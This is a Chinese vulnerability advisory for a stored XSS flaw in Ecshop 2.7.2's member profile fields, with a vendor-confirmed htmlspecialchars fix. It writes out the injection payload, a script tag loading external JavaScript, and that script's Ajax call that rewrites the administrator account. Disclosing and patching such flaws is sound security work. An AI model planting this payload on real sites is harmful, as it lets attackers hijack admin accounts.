简要描述:

个人资料修改时,Javascript代码过滤不够严格,XSS代码直接进入数据库

详细说明:

Ecshop2.7.2持久型XSS(可获得管理员帐号)及修复

密码保护问题这一项,没有使用正则过滤,其他的的都有正则过滤。我们可以在密码保护问题里输入XSS,但是后台查看会员资料是不显示密码保护问题的,所以这里必须要网站后台添加了新的 “会员注册项”时,后台查看资料就会显示了,此处填入一段引入外部js的代码:"><script src="http://www.***.com/test.js" type="text/javascript"></script>
外部test.js文件内容如下
Ajax.call(privilege.php?act=update,id=1&user_name=heihei&email=10001@qq.com,,"POST","JSON");

漏洞证明:

Ecshop2.7.2持久型XSS(可获得管理员帐号)及修复

Ecshop2.7.2持久型XSS(可获得管理员帐号)及修复

修复方案:

程序的504行

$temp_field_content = strlen($_POST[$extend_field_index]) > 100 ? mb_substr($_POST[$extend_field_index], 0, 99) : $_POST[$extend_field_index];


修改为

$temp_field_content = strlen($_POST[$extend_field_index]) > 100 ? mb_substr(htmlspecialchars($_POST[$extend_field_index]), 0, 99) : htmlspecialchars($_POST[$extend_field_index]); 漏洞回应 厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2010-09-21

厂商回复:

已经确认,补丁稍后放出。

最新状态:

2010-09-25:补丁下载地址